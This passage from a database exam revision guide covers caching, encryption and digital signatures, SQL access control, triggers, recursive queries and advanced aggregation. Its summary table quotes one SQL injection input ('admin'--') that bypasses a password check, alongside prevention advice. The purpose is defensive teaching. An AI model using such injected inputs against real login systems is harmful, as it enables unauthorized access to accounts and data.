    String product = db.query("SELECT * FROM Product WHERE id = ?",
productId);

    // 3. Store in cache for next time (TTL = 1 hour)
    redis.setex(cacheKey, 3600, product);

    return product;  // Return DB result
}

// Cache invalidation: when product is updated
void updateProduct(int productId, Product newData) {
    db.execute("UPDATE Product SET ... WHERE id = ?", productId);
    redis.del("product:" + productId);  // Delete cached entry
}
```

Cache Hit Rate and Performance Impact:

Caching Performance Impact
Without Cache:
Request --> Application --> Database (disk I/O ~10ms)
1000 requests/sec * 10ms = 10 seconds of DB work = bottleneck!
With 90% Cache Hit Rate:
900 requests --> Cache (memory ~0.1ms)
100 requests --> Database (~10ms)
Effective response time: 0.9 * 0.1ms + 0.1 * 10ms = 1.09ms average

```
DB load reduced by 90%!

Cache Invalidation Strategies:
TTL (Time-To-Live): expire after fixed time (e.g., 1 hour)
Write-Through: update cache when DB is updated
Cache-Aside: application manages cache manually (most common)
Write-Behind: write to cache first, sync to DB asynchronously
```

Note: The hardest problem in caching is cache invalidation: ensuring that stale (outdated) cached data is refreshed when the underlying DB data changes.

SECTION 5: Encryption, Digital Signatures and Database Security

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2078 Chaitra, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin

Q11. What is Encryption in the context of database security? Explain Symmetric and Asymmetric (Public-Key) Encryption with examples. What is a Digital Signature? How is it used to ensure data integrity and non-repudiation?

[2+4+2]
2081 Chaitra 2079 Chaitra 2075 Bhadra

Answer: Encryption and Digital Signatures in DBMS

Encryption: Encryption is the process of transforming readable data (PLAINTEXT) into an unreadable scrambled form (CIPHERTEXT) using a mathematical algorithm and a KEY. Only someone with the correct key can decrypt (reverse) the ciphertext back to plaintext. In DBMS, encryption protects sensitive data (passwords, credit card numbers, medical records) at rest (stored on disk) and in transit (over networks).

1. Symmetric Key Encryption:

Symmetric Encryption: Both the sender and receiver use the SAME SECRET KEY for encryption and decryption. The key must be kept secret and shared securely between parties.

Symmetric Encryption

```
SENDER                                RECEIVER
Plaintext: "Salary = 50000"           Ciphertext received
     |                                      |
+----v----+   SAME KEY (K)            +-----v----+
| ENCRYPT |  ------------------>     | DECRYPT  |
| AES-256 |  Ciphertext:             | AES-256  |
+---------+  "x9kT#mP2..."           +----------+
                                            |
                                   "Salary = 50000" (recovered)
```

```
SAME KEY used for both Encrypt and Decrypt.
Key must be shared between parties SECURELY (key distribution problem).
```

Note: Common symmetric algorithms: AES-128/256 (standard), DES (old, insecure), 3DES (legacy), ChaCha20. AES-256 is the current gold standard.

2. Asymmetric (Public-Key) Encryption:

Asymmetric Encryption: Uses a KEY PAIR: a PUBLIC KEY (can be shared openly) and a PRIVATE KEY (kept secret). Data encrypted with the public key can ONLY be decrypted with the corresponding private key, and vice versa. Solves the key distribution problem of symmetric encryption.

Asymmetric Encryption (RSA)

```
KEY GENERATION (Receiver Bob):
Bob generates: Public Key (Kpub) + Private Key (Kpriv)
Bob shares: Kpub with everyone (published openly)
Bob keeps: Kpriv secret (never shared)

ENCRYPTION (Sender Alice wants to send to Bob):
Alice: Encrypt("Salary=50000", Bob_Kpub) = Ciphertext
Send Ciphertext over network.

DECRYPTION (Bob receives):
Bob: Decrypt(Ciphertext, Bob_Kpriv) = "Salary=50000"

ONLY BOB can decrypt (only Bob has Kpriv).
Even Alice cannot decrypt her own message once sent!
```

Note: Common asymmetric algorithms: RSA (most common), ECC (Elliptic Curve, efficient for mobile), DSA, ElGamal. Used in HTTPS/TLS, email encryption (PGP), SSH.

Symmetric vs Asymmetric Encryption:

Feature	Symmetric	Asymmetric (Public-Key)
Keys	One shared secret key.	Key pair: public key + private key.
Speed	Very fast (100x-1000x faster).	Slow due to complex math (prime factorization, elliptic curves).
Key Distribution	Key must be shared securely (hard problem).	Public key freely shared. Only private key kept secret.

Use Case	Bulk data encryption: hard disk, DB at rest, file encryption.	Key exchange, digital signatures, SSL/TLS handshake.
Key Size	AES-256 (256 bits) provides very strong security.	RSA-2048 or RSA-4096 bits needed for equivalent strength.
Example Algorithms	AES, DES, 3DES, Blowfish, ChaCha20.	RSA, ECC (ECDSA), ElGamal, Diffie-Hellman.
Practical Use in DBMS	Encrypting column values (credit card, SSN), DB file encryption.	Encrypting the symmetric key itself (hybrid encryption in TLS).

Digital Signature:

Digital Signature: A digital signature is a cryptographic mechanism that provides: (1) AUTHENTICATION - proves WHO sent the data (uses sender's private key). (2) INTEGRITY - proves data was NOT altered in transit (uses hash function). (3) NON-REPUDIATION - sender cannot deny having signed (only they have the private key). Digital signatures are the basis for secure web (HTTPS), code signing, and electronic legal documents.

Digital Signature - Signing and Verification

```
SIGNING (by Sender Alice):
1. Alice computes: Hash = SHA-256(message)     <- hash of the data
2. Alice encrypts: Signature = Encrypt(Hash, Alice_PRIVATE_KEY)
3. Alice sends: {message + Signature} to Bob

VERIFICATION (by Receiver Bob):
1. Bob receives: {message + Signature}
2. Bob computes: Hash1 = SHA-256(received_message)
3. Bob decrypts: Hash2 = Decrypt(Signature, Alice_PUBLIC_KEY)
4. If Hash1 == Hash2: VALID SIGNATURE
   -> Data not tampered with (integrity) AND sent by Alice
(authentication)
   If Hash1 != Hash2: INVALID - data was altered or not from Alice

Non-repudiation: Alice used her PRIVATE KEY to sign.
Only Alice has that key -> She cannot deny having signed it.
```

Note: Hash functions used: SHA-256, SHA-3. The hash is a fixed-size fingerprint of the message. Any change to the message produces a completely different hash.

Q12. Explain the database security mechanisms: Authentication, Authorization (DAC and MAC), Audit Trails, and Data Masking. How does SQL GRANT and REVOKE implement Discretionary Access Control?

[2+4+2]
2081 Ashwin 2078
Chaitra 2074 Bhadra

Answer: Database Security Mechanisms

Database Security Mechanisms:

Security Mechanism	Description	DBMS Implementation
Authentication	Verify that a user IS who they claim to be before granting access.	Username + password, certificate-based auth, LDAP/Active Directory integration.
Authorization (Access Control)	Control WHAT authenticated users are allowed to do (which tables, which operations).	SQL: GRANT, REVOKE. Roles. Column-level and row-level security.
Audit Trail	Log all database access and modification events. Who did what, when.	DB audit logs, triggers on sensitive tables, DBMS audit features (Oracle Audit Vault).
Encryption at Rest	Encrypt stored data on disk so physical disk theft cannot expose data.	Transparent Data Encryption (TDE) in Oracle, SQL Server. Column-level encryption.
Encryption in Transit	Encrypt data moving between application and DB server over network.	SSL/TLS on DB connections. Enable SSL in MySQL: require_secure_transport=ON.
Data Masking	Replace real sensitive data with realistic but fake data in non-production environments.	Show "****1234" instead of "4532-8765-3421-1234" for credit cards in reports.

Access Control Models:

Model	Full Name	Description	Example
DAC	Discretionary Access Control	Data OWNER grants/revokes privileges to other users AT THEIR DISCRETION. Standard SQL model.	Table owner grants SELECT to team members via GRANT statement.
MAC	Mandatory Access Control	System-enforced labels on data (Top Secret, Secret, Confidential, Public) and users (clearance levels). Users can only access data at or below their clearance level.	Military/government DBs: data labeled SECRET can only be read by users with SECRET or higher clearance.
RBAC	Role-Based Access Control	Privileges assigned to ROLES, and users assigned to roles. Simplifies administration for large organizations.	Role "nurse" gets read access to patient records; "doctor" gets read+write.

SQL GRANT and REVOKE - Implementing DAC:

```
-- GRANT: give privileges to a user or role

-- Grant SELECT on Employee table to user Ram
GRANT SELECT ON Employee TO Ram;

-- Grant SELECT and INSERT on multiple tables to role "teller"
GRANT SELECT, INSERT ON Account TO ROLE teller;
GRANT SELECT, INSERT ON Transaction TO ROLE teller;

-- Grant ALL PRIVILEGES on Student table to Sita (DBA equivalent)
GRANT ALL PRIVILEGES ON Student TO Sita;

-- WITH GRANT OPTION: allows Ram to further grant to others
GRANT SELECT ON Employee TO Ram WITH GRANT OPTION;

-- REVOKE: take back privileges

-- Revoke INSERT privilege from Ram on Employee
REVOKE INSERT ON Employee FROM Ram;

-- Revoke ALL privileges from Hari
REVOKE ALL PRIVILEGES ON Employee FROM Hari;

-- Create a role and assign users to it
CREATE ROLE manager;
GRANT SELECT, UPDATE ON Employee TO ROLE manager;
GRANT ROLE manager TO Priya;
GRANT ROLE manager TO Raj;
```

SECTION 6: Database Triggers and Active Databases

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2079 Ashwin Back, 2078 Chaitra, 2078 Baishakh, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin, 2071 Bhadra, 2070 Magh

Q13. What is a Database Trigger? Explain its components (Event, Condition, Action). Write triggers for: (a) salary audit log, (b) preventing invalid salary updates, (c) maintaining a derived attribute. What are the advantages and disadvantages of triggers?

[2+6+2]
2082 Kartik 2079 Chaitra 2077 Chaitra

Answer: Database Triggers

Trigger: A trigger is a stored database procedure that is AUTOMATICALLY EXECUTED (fired) by the DBMS in response to a specified data modification event (INSERT, UPDATE, or DELETE) on a specified table. Triggers implement the ECA (Event-Condition-Action) model: when an Event occurs

and a Condition is met, an Action is performed. They are used to enforce complex business rules, maintain derived data, and create audit trails.

Trigger Components - ECA Model:

Component	Description	Example
EVENT (Trigger Timing)	WHEN the trigger fires: BEFORE the operation (can prevent/modify it) or AFTER the operation (for post-processing). On what operation: INSERT, UPDATE, DELETE, or combinations.	BEFORE INSERT ON Employee. AFTER UPDATE ON Account.
CONDITION (WHEN clause)	Optional condition that must be TRUE for the action to execute. Uses NEW (new row values) and OLD (old row values) references.	WHEN (NEW.salary < 0) or WHEN (NEW.salary > OLD.salary * 1.5)
ACTION (trigger body)	SQL statements executed when event fires. Can use NEW and OLD to access new and old column values.	INSERT INTO AuditLog VALUES (...). SIGNAL SQLSTATE (raise error).
Row-Level Trigger	Fires ONCE PER ROW affected by the DML statement. Has access to NEW and OLD row values.	FOR EACH ROW - fires separately for each row in a bulk UPDATE.
Statement-Level Trigger	Fires ONCE per DML statement regardless of how many rows affected.	FOR EACH STATEMENT - fires once even if UPDATE affects 1000 rows.

Trigger Example (a) - Salary Audit Log:

```
-- Create audit log table first
CREATE TABLE SalaryAuditLog (
    log_id      INT AUTO_INCREMENT PRIMARY KEY,
    emp_id      INT,
    old_salary  DECIMAL(10,2),
    new_salary  DECIMAL(10,2),
    changed_by  VARCHAR(100),
    changed_at  TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Trigger: fires AFTER any salary UPDATE on Employee table
CREATE TRIGGER trg_salary_audit
AFTER UPDATE ON Employee
FOR EACH ROW
WHEN (OLD.salary <> NEW.salary)    -- only when salary actually changed
BEGIN
    INSERT INTO SalaryAuditLog(emp_id, old_salary, new_salary, changed_by)
    VALUES (NEW.emp_id, OLD.salary, NEW.salary, CURRENT_USER());
    -- OLD.salary: salary before update
```

```
    -- NEW.salary: salary after update
    -- CURRENT_USER(): who made the change
END;

-- Test: update an employee salary
UPDATE Employee SET salary = 60000 WHERE emp_id = 101;
-- Trigger fires automatically: inserts row in SalaryAuditLog
```

Trigger Example (b) - Preventing Invalid Salary Update:

```
-- Trigger: reject salary updates that exceed 50% increase in one step
CREATE TRIGGER trg_salary_check
BEFORE UPDATE ON Employee
FOR EACH ROW
BEGIN
    IF NEW.salary > OLD.salary * 1.50 THEN
        -- SIGNAL raises an error - cancels the UPDATE
        SIGNAL SQLSTATE '45000'
        SET MESSAGE_TEXT = 'Salary increase cannot exceed 50% in one
update.';
    END IF;
    IF NEW.salary < 0 THEN
        SIGNAL SQLSTATE '45000'
        SET MESSAGE_TEXT = 'Salary cannot be negative.';
    END IF;
END;

-- Test: this will be REJECTED by the trigger
UPDATE Employee SET salary = 100000 WHERE emp_id = 101;  -- was 50000
-- Error: Salary increase cannot exceed 50% in one update.
```

Trigger Example (c) - Maintaining Derived Attribute (Employee Count):

```
-- Department table has a derived attribute: emp_count
-- We use triggers to keep it updated automatically

-- Trigger: increment count when employee is added
CREATE TRIGGER trg_emp_insert
AFTER INSERT ON Employee
FOR EACH ROW
BEGIN
    UPDATE Department
    SET emp_count = emp_count + 1
    WHERE dept_id = NEW.dept_id;
END;

-- Trigger: decrement count when employee is removed
CREATE TRIGGER trg_emp_delete
AFTER DELETE ON Employee
```

```
FOR EACH ROW
BEGIN
    UPDATE Department
    SET emp_count = emp_count - 1
    WHERE dept_id = OLD.dept_id;
END;

-- Trigger: handle department transfer
CREATE TRIGGER trg_emp_dept_update
AFTER UPDATE ON Employee
FOR EACH ROW
WHEN (OLD.dept_id <> NEW.dept_id)
BEGIN
    UPDATE Department SET emp_count = emp_count - 1 WHERE dept_id =
OLD.dept_id;
    UPDATE Department SET emp_count = emp_count + 1 WHERE dept_id =
NEW.dept_id;
END;
```

Advantages and Disadvantages of Triggers:

Advantages	Disadvantages
Automatic enforcement of complex business rules that cannot be expressed in CHECK constraints.	Hidden side effects: triggers fire invisibly. Hard to debug unexpected behavior.
Centralized logic in the DB - every application using the DB gets the rule enforced.	Performance overhead: every INSERT/UPDATE/DELETE fires triggers even if not needed.
Audit trails created automatically without application code changes.	Cascading triggers: one trigger can fire another, causing complex chains.
Maintain derived data (summary tables, computed columns) consistently.	Portability: trigger syntax varies across DBMS (MySQL, Oracle, PostgreSQL all differ).
Enforce referential integrity beyond standard FK constraints.	Hard to test: require specific data conditions to fire.

Most Repeated: "Write a trigger for salary audit log" or "explain trigger with example" is extremely common. Always show: CREATE TRIGGER name / BEFORE/AFTER / ON table / FOR EACH ROW / WHEN condition / BEGIN...END with OLD and NEW references.

SECTION 7: Recursive Queries and Advanced Aggregation

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2079 Ashwin Back, 2078 Chaitra, 2078 Baishakh, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin, 2071 Bhadra, 2070 Magh

Q14. What are Recursive Queries in SQL? What problem do they solve? Explain the WITH RECURSIVE (Common Table Expression) syntax with examples: employee hierarchy and bill of materials.

[2+4+4]
2081 Chaitra 2079 Chaitra 2077 Chaitra

Answer: Recursive Queries with CTE (WITH RECURSIVE)

Recursive Query: A recursive query is a SQL query that references ITSELF to process hierarchical or graph-structured data stored in a table. It is used to traverse parent-child relationships (employee-manager hierarchy, folder-subfolder, bill of materials, category trees) without knowing the depth of the hierarchy in advance.

The Problem - Self-Referential Hierarchical Data:

```
-- Employee table with self-referential foreign key
CREATE TABLE Employee (
    emp_id      INT PRIMARY KEY,
    ename       VARCHAR(100),
    manager_id  INT REFERENCES Employee(emp_id),  -- self-reference!
    salary      DECIMAL(10,2)
);

-- Data:
-- emp_id | ename         | manager_id
-- -------+---------------+-----------
--    1   | CEO (Alice)   | NULL        <- top of hierarchy
--    2   | VP (Bob)      | 1
--    3   | VP (Carol)    | 1
--    4   | Mgr (David)   | 2
--    5   | Mgr (Eve)     | 2
--    6   | Dev (Frank)   | 4
--    7   | Dev (Grace)   | 4
--    8   | Dev (Harry)   | 5

-- Problem: Find ALL employees under Bob (emp_id=2) at ALL levels.
-- Simple JOIN only finds direct reports (1 level).
-- Need RECURSIVE query to traverse the full subtree.
```

WITH RECURSIVE - Syntax Structure:

```
WITH RECURSIVE cte_name AS (
    -- ANCHOR MEMBER: base case (non-recursive, starting rows)
    SELECT ...  -- this runs ONCE, defines the starting set
```

```
    UNION ALL   -- combine base with recursive results

    -- RECURSIVE MEMBER: references cte_name itself!
    SELECT ...  -- joins cte_name to find next level
    FROM cte_name
    JOIN table ON ...  -- join condition to go one level deeper
)
SELECT * FROM cte_name;  -- final query on the CTE

-- Execution model:
-- Iteration 0: Execute anchor -> Result0
-- Iteration 1: Execute recursive part using Result0 -> Result1
-- Iteration 2: Execute recursive part using Result1 -> Result2
-- ... continues until recursive part produces no new rows
-- Final result = UNION ALL of Result0 + Result1 + Result2 + ...
```

Recursive Query Example 1 - Employee Hierarchy:

```
-- Find all employees under Bob (emp_id=2) at ALL levels
WITH RECURSIVE subordinates AS (

    -- ANCHOR: start with Bob (the root of our search)
    SELECT emp_id, ename, manager_id, 0 AS depth
    FROM Employee
    WHERE emp_id = 2  -- Bob is our starting point

    UNION ALL

    -- RECURSIVE: find all employees whose manager is already in our CTE
    SELECT e.emp_id, e.ename, e.manager_id, s.depth + 1
    FROM Employee e
    JOIN subordinates s ON e.manager_id = s.emp_id
    -- this finds direct reports of everyone already found

)
SELECT emp_id, ename, depth FROM subordinates
ORDER BY depth, ename;

-- Results:
-- emp_id | ename   | depth
--    2   | Bob     |   0    (starting point)
--    4   | David   |   1    (direct report of Bob)
--    5   | Eve     |   1    (direct report of Bob)
--    6   | Frank   |   2    (reports to David)
--    7   | Grace   |   2    (reports to David)
--    8   | Harry   |   2    (reports to Eve)
```

Recursive Query Example 2 - Bill of Materials (Parts Tree):

```
-- Parts table: a part can be made of other parts
-- part_id | part_name | component_of (parent part_id)

-- Find all components (recursive) needed to build Part 1
WITH RECURSIVE bom AS (
    -- ANCHOR: start with the final product
    SELECT part_id, part_name, component_of, 1 AS quantity
    FROM Parts WHERE part_id = 1

    UNION ALL

    -- RECURSIVE: find sub-components of each component
    SELECT p.part_id, p.part_name, p.component_of, bom.quantity
    FROM Parts p
    JOIN bom ON p.component_of = bom.part_id
)
SELECT part_id, part_name, quantity FROM bom;

-- Also useful: find the full path (breadcrumb)
WITH RECURSIVE category_path AS (
    SELECT id, name, parent_id, CAST(name AS VARCHAR(500)) AS path
    FROM Category WHERE parent_id IS NULL

    UNION ALL

    SELECT c.id, c.name, c.parent_id,
           CONCAT(cp.path, ' > ', c.name) AS path
    FROM Category c
    JOIN category_path cp ON c.parent_id = cp.id
)
SELECT id, name, path FROM category_path ORDER BY path;
-- Output: "Electronics > Computers > Laptops"
```

Q15. What are Advanced Aggregation Features in SQL? Explain ROLLUP, CUBE, and Windowing Functions (ROW_NUMBER, RANK, DENSE_RANK, LAG, LEAD) with examples.

[2+4+4]

2081 Ashwin 2079
Chaitra 2078 Baishakh

Answer: Advanced Aggregation - ROLLUP, CUBE and Window Functions

ROLLUP - Subtotals and Grand Total:

ROLLUP: ROLLUP is an extension of GROUP BY that generates SUBTOTALS and a GRAND TOTAL. If GROUP BY ROLLUP(A, B, C), it produces aggregates for: (A, B, C), (A, B), (A), and (). A hierarchical aggregation - goes from most specific to least specific (grand total).

```
-- Sales data: region, product, total_sales
SELECT region, product, SUM(amount) AS total_sales
```

```
FROM Sales
GROUP BY ROLLUP(region, product);

-- Results:
-- region     | product   | total_sales
-- ----------+----------+------------
-- East       | Laptop    | 100000   <- (region, product) subtotal
-- East       | Phone     |  50000
-- East       | NULL      | 150000   <- (region) subtotal for East
-- West       | Laptop    |  80000
-- West       | Phone     |  60000
-- West       | NULL      | 140000   <- (region) subtotal for West
-- NULL       | NULL      | 290000   <- Grand Total (all NULLs = grand total)

-- NULL in ROLLUP means "all values" (grand total for that level)
-- Use GROUPING() or COALESCE(region, 'ALL') to replace NULLs
SELECT COALESCE(region, 'ALL') AS region,
       COALESCE(product, 'ALL PRODUCTS') AS product,
       SUM(amount) AS total
FROM Sales GROUP BY ROLLUP(region, product);
```

CUBE - All Combinations of Subtotals:

CUBE: CUBE generates aggregates for ALL COMBINATIONS of the listed columns. GROUP BY CUBE(A, B) generates: (A,B), (A), (B), and () - every subset. More comprehensive than ROLLUP (which is one-directional). Used for data warehouse cross-tabulation reports.

```
SELECT region, product, SUM(amount) AS total
FROM Sales
GROUP BY CUBE(region, product);

-- CUBE produces subtotals for EVERY combination:
-- (region, product): individual cells
-- (region, NULL):    region totals (sum across all products)
-- (NULL, product):   product totals (sum across all regions)
-- (NULL, NULL):      grand total

-- Example output (additional rows vs ROLLUP):
-- NULL       | Laptop    | 180000   <- product total for ALL regions
-- NULL       | Phone     | 110000   <- product total for ALL regions
-- NULL       | NULL      | 290000   <- grand total
```

ROLLUP vs CUBE vs GROUPING SETS:

Feature	ROLLUP	CUBE	GROUPING SETS
What it generates	Hierarchical subtotals from fine to coarse. (A,B), (A), ().	ALL combinations of subtotals. (A,B), (A), (B), ().	User-specified grouping combinations exactly.

Number of groupings	n+1 for n columns.	2^n for n columns.	As many as you specify.
Use Case	Sales reports with hierarchy (year->quarter->month).	Cross-tab reports with all dimensions.	Custom combinations: only specific subtotals needed.
SQL Syntax	GROUP BY ROLLUP(a,b,c)	GROUP BY CUBE(a,b)	GROUP BY GROUPING SETS((a,b),(a),(b))

Window Functions (Analytical Functions):

Window Function: A window function performs a calculation across a SET OF ROWS (the "window") related to the current row. Unlike regular aggregates, window functions do NOT collapse rows - every row retains its own identity while also having access to aggregate information about its window. Syntax: function() OVER (PARTITION BY ... ORDER BY ...)

```
-- Employee table: emp_id, ename, dept, salary

-- ROW_NUMBER(): unique sequential number within partition
SELECT ename, dept, salary,
       ROW_NUMBER() OVER (PARTITION BY dept ORDER BY salary DESC) AS
row_num
FROM Employee;
-- Gives: Engineer 1, Engineer 2, Engineer 3 (resets for each dept)

-- RANK(): rank with GAPS for ties
-- DENSE_RANK(): rank WITHOUT gaps for ties
SELECT ename, salary,
       RANK()       OVER (ORDER BY salary DESC) AS rank_with_gap,
       DENSE_RANK() OVER (ORDER BY salary DESC) AS dense_rank
FROM Employee;
-- If two employees both have salary=60000:
-- RANK: 1,2,2,4 (skips 3)    DENSE_RANK: 1,2,2,3 (no gap)

-- Find top-paid employee in EACH department
SELECT ename, dept, salary FROM (
    SELECT ename, dept, salary,
           RANK() OVER (PARTITION BY dept ORDER BY salary DESC) AS rnk
    FROM Employee
) t WHERE rnk = 1;

-- LAG(): access previous row value
-- LEAD(): access next row value
SELECT ename, salary,
       LAG(salary, 1)  OVER (ORDER BY salary) AS prev_salary,
       LEAD(salary, 1) OVER (ORDER BY salary) AS next_salary,
       salary - LAG(salary,1) OVER (ORDER BY salary) AS salary_diff
```

```
FROM Employee;

-- SUM() as window function (running total)
SELECT ename, salary,
       SUM(salary) OVER (ORDER BY emp_id ROWS UNBOUNDED PRECEDING) AS
running_total
FROM Employee;
-- Each row shows: salary of that employee + all salaries up to that row
```

Window Function	Description	Returns
ROW_NUMBER()	Unique sequential integer per row in partition.	1, 2, 3, 4... (no ties)
RANK()	Rank with GAPS for tied values.	1, 2, 2, 4 (skips 3 after tie)
DENSE_RANK()	Rank WITHOUT gaps for tied values.	1, 2, 2, 3 (no skip after tie)
NTILE(n)	Divides rows into n equal buckets.	1 to n for each row
LAG(col, n)	Value of col from n rows BEFORE current row.	Previous row value (or n rows back)
LEAD(col, n)	Value of col from n rows AFTER current row.	Next row value (or n rows ahead)
FIRST_VALUE(col)	Value of col from the FIRST row of the window.	First value in partition
LAST_VALUE(col)	Value of col from the LAST row of the window.	Last value in partition
SUM/AVG/COUNT/ MIN/MAX	Standard aggregates used as window functions.	Rolling sum, running average, etc.

QUICK REVISION: Chapter 8 - Key Points Summary

Topic	Key Points	Expected Marks
App Architecture	2-tier: fat client + DB server (direct SQL, desktop apps). 3-tier: thin browser + app server + DB server (web apps). 3-tier preferred: security, scalability, centralized logic, connection pooling.	2-4
HTTP Basics	HTTP: stateless protocol. Request-response cycle. GET: params in URL, idempotent, for SELECTs. POST: params in body, hidden, for INSERT/UPDATE/DELETE. Browser -> App Server -> DB -> HTML response.	1-3
JDBC	Java DB Connectivity. Steps: getConnection(url,user,pass) -> prepareStatement(sql) -> setParam(?) -> executeQuery() (SELECT) or executeUpdate() (INSERT/UPDATE/DELETE) -> iterate ResultSet -> close. Always use PreparedStatement.	4-8
ODBC	C-language universal DB API. Components: Application -> ODBC API -> Driver Manager -> DBMS Driver -> Database. DSN for connection config. JDBC=Java, ODBC=C/Windows. Both use ? for parameterized queries.	2-4
Servlet/JSP	Servlet: Java class handling HTTP in Tomcat. doGet() (display form), doPost() (process data). JSP: HTML with embedded Java. Servlet=controller, JSP=view in MVC. Lifecycle: init->service->destroy.	2-4
SQL Injection	Attack: malicious SQL in user input + string concatenation = injected code runs. e.g., admin'-- bypasses password check. Prevention: PreparedStatement with ? (primary fix), stored procedures, input validation, least privilege.	4-8
XSS	Stored XSS: malicious script saved to DB, runs for all viewers. Reflected XSS: script in URL echoed in response. Prevention: HTML output encoding (< >), CSP header, HttpOnly cookies, framework auto-escaping.	2-4
Connection Pooling	Pre-create N DB connections at startup. Borrow/return connections instead of create/destroy. Benefits: 100x faster (no TCP+auth overhead), limits concurrent DB sessions, enables high throughput. HikariCP/DBCP2.	2-4
Caching	Query result cache, prepared stmt cache, app-level cache (Redis/Memcached), ORM 2nd-level cache. Cache-Aside pattern. 90% hit rate reduces DB load by 90%. TTL / write-through for invalidation.	2-4
Encryption	Symmetric: same key (AES-256), fast, bulk data. Asymmetric: public+private key pair (RSA), slow, key exchange, digital signatures. Digital Signature: Hash(msg) encrypted with private key -> verify with public key. Provides integrity + authentication + non-repudiation.	3-6

DB Security	Authentication (who you are). DAC: GRANT/REVOKE. RBAC: privileges via roles. MAC: security labels. Audit trail: log all access. TDE: disk encryption. SSL/TLS: in-transit encryption. Data masking.	2-4
Triggers	ECA model: Event (BEFORE/AFTER + INSERT/UPDATE/DELETE) + Condition (WHEN) + Action (BEGIN...END). NEW=new values, OLD=old values. Row-level (FOR EACH ROW) vs statement-level. Uses: audit log, validation, derived attributes.	4-8
Recursive Queries	WITH RECURSIVE cte AS (anchor UNION ALL recursive_member). Anchor: base case (starting rows). Recursive member: joins CTE to itself. Terminates when no new rows. Uses: employee hierarchy, bill of materials, path finding, category trees.	4-8
ROLLUP/CUBE	ROLLUP: hierarchical subtotals (A,B),(A),(). CUBE: ALL combinations including cross-dimension (A,B),(A),(B),(). NULL in result = "all values". Window functions: ROW_NUMBER (unique), RANK (gaps), DENSE_RANK (no gaps), LAG/LEAD, running aggregates via OVER().	3-6

Best of Luck! | TU IOE BCT | CT 652 DBMS | Chapter 8: Application Design and Development